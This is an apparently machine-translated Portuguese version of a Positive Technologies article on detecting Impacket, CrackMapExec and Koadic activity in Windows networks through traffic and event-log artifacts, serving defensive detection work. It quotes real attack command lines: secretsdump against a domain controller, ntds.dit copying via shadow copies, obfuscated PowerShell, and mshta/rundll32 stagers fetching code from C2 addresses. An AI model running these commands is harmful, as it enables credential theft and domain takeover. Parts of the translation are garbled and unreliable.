Como detectar ataques à infraestrutura do Windows: estudando ferramentas de hackers

Como detectar ataques à infraestrutura do Windows: estudando ferramentas de hackers

O número de ataques no setor corporativo cresce a cada ano: por exemplo em 2017, foram registrados 13% mais incidentes únicos do que em 2016 e no final de 2018 - 27% mais incidentesdo que no período anterior. Incluindo aqueles onde a principal ferramenta de trabalho é o sistema operacional Windows. Em 2017-2018 o APT Dragonfly APT28 APTO Água Enlameada realizou ataques a organizações governamentais e militares na Europa, América do Norte e Arábia Saudita. E usamos três ferramentas para isso - Pacote, CrackMapExec и Koádico. Seu código-fonte é aberto e está disponível no GitHub.

Vale ressaltar que essas ferramentas não são utilizadas para penetração inicial, mas para desenvolver um ataque dentro da infraestrutura. Os invasores os utilizam em diferentes estágios do ataque após a penetração do perímetro. A propósito, isso é difícil de detectar e muitas vezes apenas com a ajuda da tecnologia identificando vestígios de comprometimento no tráfego de rede ou ferramentas que permitem detectar ações ativas de um invasor após ele ter penetrado na infraestrutura. As ferramentas oferecem uma variedade de funções, desde a transferência de arquivos até a interação com o registro e a execução de comandos em uma máquina remota. Realizamos um estudo dessas ferramentas para determinar sua atividade de rede.

O que precisávamos fazer:

  • Entenda como funcionam as ferramentas de hacking. Descubra o que os invasores precisam explorar e quais tecnologias eles podem usar.
  • Encontre o que não é detectado pelas ferramentas de segurança da informação nas primeiras etapas de um ataque. A fase de reconhecimento pode ser ignorada, quer porque o atacante é um atacante interno, quer porque o atacante está a explorar uma falha na infra-estrutura que não era anteriormente conhecida. Torna-se possível restaurar toda a cadeia de suas ações, daí o desejo de detectar novos movimentos.
  • Elimine falsos positivos de ferramentas de detecção de intrusão. Não devemos esquecer que quando determinadas ações são detectadas apenas com base no reconhecimento, são possíveis erros frequentes. Normalmente na infra-estrutura existe um número suficiente de formas, à primeira vista indistinguíveis das legítimas, de obter qualquer informação.

O que essas ferramentas oferecem aos invasores? Se for Impacket, os invasores receberão uma grande biblioteca de módulos que podem ser usados ​​em diferentes estágios do ataque que se seguem após a violação do perímetro. Muitas ferramentas usam módulos Impacket internamente - por exemplo, Metasploit. Possui dcomexec e wmiexec para execução remota de comandos, secretsdump para obter contas da memória que são adicionadas do Impacket. Como resultado, a detecção correcta da actividade de tal biblioteca assegurará a detecção de derivados.

Não é por acaso que os criadores escreveram “Powered by Impacket” sobre o CrackMapExec (ou simplesmente CME). Além disso, o CME possui funcionalidades prontas para cenários populares: Mimikatz para obtenção de senhas ou seus hashes, implementação do agente Meterpreter ou Empire para execução remota e Bloodhound a bordo.

A terceira ferramenta que escolhemos foi o Koadic. É bastante recente, foi apresentado na conferência internacional de hackers DEFCON 25 em 2017 e distingue-se por uma abordagem não padronizada: funciona via HTTP, Java Script e Microsoft Visual Basic Script (VBS). Essa abordagem é chamada de viver da terra: a ferramenta usa um conjunto de dependências e bibliotecas integradas ao Windows. Os criadores o chamam de COM Command & Control ou C3.

IMPACTO

A funcionalidade do Impacket é muito ampla, variando desde o reconhecimento dentro do AD e coleta de dados de servidores MS SQL internos, até técnicas para obtenção de credenciais: este é um ataque de retransmissão SMB e obtenção do arquivo ntds.dit contendo hashes de senhas de usuários de um controlador de domínio. O Impacket também executa comandos remotamente usando quatro métodos diferentes: WMI, Windows Scheduler Management Service, DCOM e SMB, e requer credenciais para fazer isso.

Despejo de segredos

Vamos dar uma olhada no secretsdump. Este é um módulo que pode ter como alvo máquinas de usuários e controladores de domínio. Pode ser utilizado para obter cópias das áreas de memória LSA, SAM, SECURITY, NTDS.dit, para que possa ser visto em diferentes estágios do ataque. O primeiro passo na operação do módulo é a autenticação via SMB, que requer a senha do usuário ou seu hash para realizar automaticamente o ataque Pass the Hash. Em seguida, vem uma solicitação para abrir o acesso ao Service Control Manager (SCM) e obter acesso ao registro através do protocolo winreg, com o qual um invasor pode descobrir os dados das agências de interesse e obter resultados via SMB.

Na Fig. 1 vemos exatamente como, ao usar o protocolo winreg, o acesso é obtido usando uma chave de registro com LSA. Para fazer isso, use o comando DCERPC com opcode 15 - OpenKey.

Como detectar ataques à infraestrutura do Windows: estudando ferramentas de hackers
Arroz. 1. Abrindo uma chave de registro usando o protocolo winreg

A seguir, ao obter o acesso à chave, os valores são salvos com o comando SaveKey com opcode 20. O Impacket faz isso de uma forma bem específica. Ele salva os valores em um arquivo cujo nome é uma sequência de 8 caracteres aleatórios anexados com .tmp. Além disso, o upload adicional deste arquivo ocorre via SMB do diretório System32 (Fig. 2).

Como detectar ataques à infraestrutura do Windows: estudando ferramentas de hackers
Arroz. 2. Esquema para obter uma chave de registro de uma máquina remota

Acontece que tal atividade na rede pode ser detectada por meio de consultas a determinadas ramificações do registro usando o protocolo winreg, nomes específicos, comandos e sua ordem.

Este módulo também deixa rastros no log de eventos do Windows, facilitando a detecção. Por exemplo, como resultado da execução do comando

secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC

No log do Windows Server 2016, veremos a seguinte sequência principal de eventos:

1. 4624 - Logon remoto.
2. 5145 - verificando os direitos de acesso ao serviço remoto winreg.
3. 5145 - verificando direitos de acesso a arquivos no diretório System32. O arquivo tem o nome aleatório mencionado acima.
4. 4688 - criando um processo cmd.exe que inicia o vssadmin:

“C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5 - criando um processo com o comando:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

6 - criando um processo com o comando:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

7 - criando um processo com o comando:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

Smbexec

Como muitas ferramentas pós-exploração, o Impacket possui módulos para execução remota de comandos. Vamos nos concentrar no smbexec, que fornece um shell de comando interativo em uma máquina remota. Este módulo também requer autenticação via SMB, seja com senha ou hash de senha. Na Fig. Na Figura 3 vemos um exemplo de como funciona tal ferramenta, neste caso é o console do administrador local.

Como detectar ataques à infraestrutura do Windows: estudando ferramentas de hackers
Arroz. 3. Console smbexec interativo

A primeira etapa do smbexec após a autenticação é abrir o SCM com o comando OpenSCManagerW (15). A consulta é notável: o campo MachineName é DUMMY.

Como detectar ataques à infraestrutura do Windows: estudando ferramentas de hackers
Arroz. 4. Solicitação para abrir o Service Control Manager

A seguir, o serviço é criado usando o comando CreateServiceW (12). No caso do smbexec, podemos ver sempre a mesma lógica de construção de comando. Na Fig. 5 verde indica parâmetros de comando imutáveis, amarelo indica o que um invasor pode alterar. É fácil perceber que o nome do arquivo executável, seu diretório e o arquivo de saída podem ser alterados, mas o resto é muito mais difícil de alterar sem atrapalhar a lógica do módulo Impacket.

Como detectar ataques à infraestrutura do Windows: estudando ferramentas de hackers
Arroz. 5. Solicitação para criar um serviço usando Service Control Manager

Smbexec também deixa rastros óbvios no log de eventos do Windows. No log do Windows Server 2016 para o shell de comando interativo com o comando ipconfig, veremos a seguinte sequência de eventos principais:

1. 4697 — instalação do serviço na máquina da vítima:

%COMSPEC% /Q /c echo cd ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

2. 4688 - criação do processo cmd.exe com os argumentos do ponto 1.
3. 5145 - verificando direitos de acesso ao arquivo __output no diretório C$.
4. 4697 — instalação do serviço na máquina da vítima.

%COMSPEC% /Q /c echo ipconfig ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - criação do processo cmd.exe com os argumentos do ponto 4.
6. 5145 - verificando direitos de acesso ao arquivo __output no diretório C$.

Impacket é a base para o desenvolvimento de ferramentas de ataque. Ele suporta quase todos os protocolos da infraestrutura Windows e ao mesmo tempo possui características próprias. Aqui estão solicitações específicas de winreg e o uso da API SCM com formação de comando característica, formato de nome de arquivo e compartilhamento SMB SYSTEM32.

CRACKMAPEXEC

A ferramenta CME foi projetada principalmente para automatizar as ações rotineiras que um invasor deve realizar para avançar na rede. Ele permite que você trabalhe em conjunto com o conhecido agente Empire e Meterpreter. Para executar comandos secretamente, o CME pode ofuscá-los. Usando o Bloodhound (uma ferramenta de reconhecimento separada), um invasor pode automatizar a busca por uma sessão ativa de administrador de domínio.

Cão de caça

O Bloodhound, como ferramenta independente, permite reconhecimento avançado dentro da rede. Ele coleta dados sobre usuários, máquinas, grupos, sessões e é fornecido como um script PowerShell ou arquivo binário. Protocolos baseados em LDAP ou SMB são usados ​​para coletar informações. O módulo de integração CME permite que o Bloodhound seja baixado para a máquina da vítima, executado e recebido os dados coletados após a execução, automatizando assim as ações no sistema e tornando-as menos perceptíveis. O shell gráfico do Bloodhound apresenta os dados coletados na forma de gráficos, o que permite encontrar o caminho mais curto da máquina do invasor até o administrador do domínio.

Como detectar ataques à infraestrutura do Windows: estudando ferramentas de hackers
Arroz. 6. Interface do Cão de Caça

Para rodar na máquina da vítima, o módulo cria uma tarefa usando ATSVC e SMB. ATSVC é uma interface para trabalhar com o Agendador de Tarefas do Windows. O CME usa sua função NetrJobAdd(1) para criar tarefas na rede. Um exemplo do que o módulo CME envia é mostrado na Fig. 7: Esta é uma chamada de comando cmd.exe e código ofuscado na forma de argumentos em formato XML.

Como detectar ataques à infraestrutura do Windows: estudando ferramentas de hackers
Figura 7. Criando uma tarefa via CME

Após a tarefa ser enviada para execução, a máquina da vítima inicia o próprio Bloodhound, e isso pode ser visto no trânsito. O módulo é caracterizado por consultas LDAP para obter grupos padrão, lista de todas as máquinas e usuários do domínio e obter informações sobre sessões ativas de usuários por meio da solicitação SRVSVC NetSessEnum.

Como detectar ataques à infraestrutura do Windows: estudando ferramentas de hackers
Arroz. 8. Obtenção de uma lista de sessões ativas via SMB

Além disso, iniciar o Bloodhound na máquina da vítima com a auditoria habilitada é acompanhado por um evento com ID 4688 (criação do processo) e o nome do processo «C:WindowsSystem32cmd.exe». O que é notável são os argumentos da linha de comando:

cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "

Enum_avprodutos

O módulo enum_avproducts é muito interessante do ponto de vista de funcionalidade e implementação. O WMI permite que você use a linguagem de consulta WQL para recuperar dados de vários objetos do Windows, que é essencialmente o que este módulo CME usa. Ele gera consultas às classes AntiSpywareProduct e AntiМirusProduct sobre as ferramentas de proteção instaladas na máquina da vítima. Para obter os dados necessários, o módulo se conecta ao namespace rootSecurityCenter2, gera uma consulta WQL e recebe uma resposta. Na Fig. A Figura 9 mostra o conteúdo de tais solicitações e respostas. Em nosso exemplo, o Windows Defender foi encontrado.

Como detectar ataques à infraestrutura do Windows: estudando ferramentas de hackers
Arroz. 9. Atividade de rede do módulo enum_avproducts

Freqüentemente, a auditoria WMI (Trace WMI-Activity), em cujos eventos você pode encontrar informações úteis sobre consultas WQL, pode ser desabilitada. Mas se estiver habilitado, se o script enum_avproducts for executado, será salvo um evento com ID 11. Ele conterá o nome do usuário que enviou a solicitação e o nome no namespace rootSecurityCenter2.

Cada um dos módulos CME possuía seus próprios artefatos, sejam consultas WQL específicas ou a criação de um determinado tipo de tarefa em um agendador de tarefas com ofuscação e atividade específica do Bloodhound em LDAP e SMB.

KOADICO

Uma característica distintiva do Koadic é o uso de interpretadores JavaScript e VBScript integrados ao Windows. Nesse sentido, segue a tendência do living off the land – ou seja, não possui dependências externas e utiliza ferramentas padrão do Windows. Trata-se de uma ferramenta de Comando e Controle (CnC) total, pois após a infecção um “implante” é instalado na máquina, permitindo seu controle. Tal máquina, na terminologia Koádica, é chamada de “zumbi”. Se não houver privilégios suficientes para operação completa por parte da vítima, Koadic tem a capacidade de aumentá-los usando técnicas de desvio de controle de conta de usuário (desvio de UAC).

Como detectar ataques à infraestrutura do Windows: estudando ferramentas de hackers
Arroz. 10. Concha Koádica

A vítima deve iniciar a comunicação com o servidor de Comando e Controle. Para isso, ela precisa entrar em contato com uma URI previamente preparada e receber o corpo Koadic principal utilizando um dos stagers. Na Fig. A Figura 11 mostra um exemplo para o stager mshta.

Como detectar ataques à infraestrutura do Windows: estudando ferramentas de hackers
Arroz. 11. Inicializando uma sessão com o servidor CnC

Com base na variável de resposta WS, fica claro que a execução ocorre através do WScript.Shell, e as variáveis ​​STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE contêm informações importantes sobre os parâmetros da sessão atual. Este é o primeiro par solicitação-resposta em uma conexão HTTP com um servidor CnC. As solicitações subsequentes estão diretamente relacionadas à funcionalidade dos módulos (implantes) chamados. Todos os módulos Koadic funcionam apenas com uma sessão ativa com CnC.

Mimikatz

Assim como o CME funciona com o Bloodhound, o Koadic funciona com o Mimikatz como um programa separado e tem várias maneiras de iniciá-lo. Abaixo está um par solicitação-resposta para baixar o implante Mimikatz.

Como detectar ataques à infraestrutura do Windows: estudando ferramentas de hackers
Arroz. 12. Transfira Mimikatz para Koadic

Você pode ver como o formato do URI na solicitação mudou. Agora contém um valor para a variável csrf, responsável pelo módulo selecionado. Não preste atenção ao nome dela; Todos sabemos que o CSRF geralmente é entendido de forma diferente. A resposta foi o mesmo corpo principal do Koadic, ao qual foi adicionado o código relacionado ao Mimikatz. É bastante grande, então vamos dar uma olhada nos pontos principais. Aqui temos a biblioteca Mimikatz codificada em base64, uma classe .NET serializada que irá injetá-la e argumentos para iniciar o Mimikatz. O resultado da execução é transmitido pela rede em texto não criptografado.

Como detectar ataques à infraestrutura do Windows: estudando ferramentas de hackers
Arroz. 13. Resultado da execução do Mimikatz em uma máquina remota

Exec_cmd

Koadic também possui módulos que podem executar comandos remotamente. Aqui veremos o mesmo método de geração de URI e as familiares variáveis ​​sid e csrf. No caso do módulo exec_cmd, é adicionado ao corpo o código que é capaz de executar comandos shell. Abaixo é mostrado o código contido na resposta HTTP do servidor CnC.

Como detectar ataques à infraestrutura do Windows: estudando ferramentas de hackers
Arroz. 14. Código de implante exec_cmd

A variável GAWTUUGCFI com o atributo WS familiar é necessária para a execução do código. Com sua ajuda, o implante chama o shell, processando duas ramificações do código - shell.exec com retorno do fluxo de dados de saída e shell.run sem retorno.

Koadic não é uma ferramenta típica, mas possui seus próprios artefatos pelos quais pode ser encontrado em tráfego legítimo:

  • formação especial de solicitações HTTP,
  • usando a API winHttpRequests,
  • criando um objeto WScript.Shell via ActiveXObject,
  • grande corpo executável.

A conexão inicial é iniciada pelo stager, portanto é possível detectar sua atividade através de eventos do Windows. Para mshta, este é o evento 4688, que indica a criação de um processo com o atributo start:

C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6

Enquanto o Koadic está em execução, você pode ver outros 4688 eventos com atributos que o caracterizam perfeitamente:

rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1

Descobertas

A tendência de viver da terra está ganhando popularidade entre os criminosos. Eles usam as ferramentas e mecanismos integrados ao Windows para atender às suas necessidades. Estamos vendo ferramentas populares Koadic, CrackMapExec e Impacket seguindo este princípio aparecerem cada vez mais nos relatórios APT. O número de forks no GitHub para essas ferramentas também está crescendo, e novos estão aparecendo (já existem cerca de mil deles agora). A tendência está ganhando popularidade devido à sua simplicidade: os invasores não precisam de ferramentas de terceiros; elas já estão nas máquinas das vítimas e as ajudam a contornar as medidas de segurança. Nosso foco é o estudo da comunicação em rede: cada ferramenta descrita acima deixa seus próprios rastros no tráfego da rede; o estudo detalhado deles nos permitiu ensinar nosso produto Descoberta de ataque à rede PT detectá-los, o que, em última análise, ajuda a investigar toda a cadeia de incidentes cibernéticos que os envolvem.

Autores:

  • Anton Tyurin, chefe do departamento de serviços especializados, PT Expert Security Center, Positive Technologies
  • Egor Podmokov, especialista, PT Expert Security Center, Positive Technologies

Fonte: habr.com

Adicionar um comentário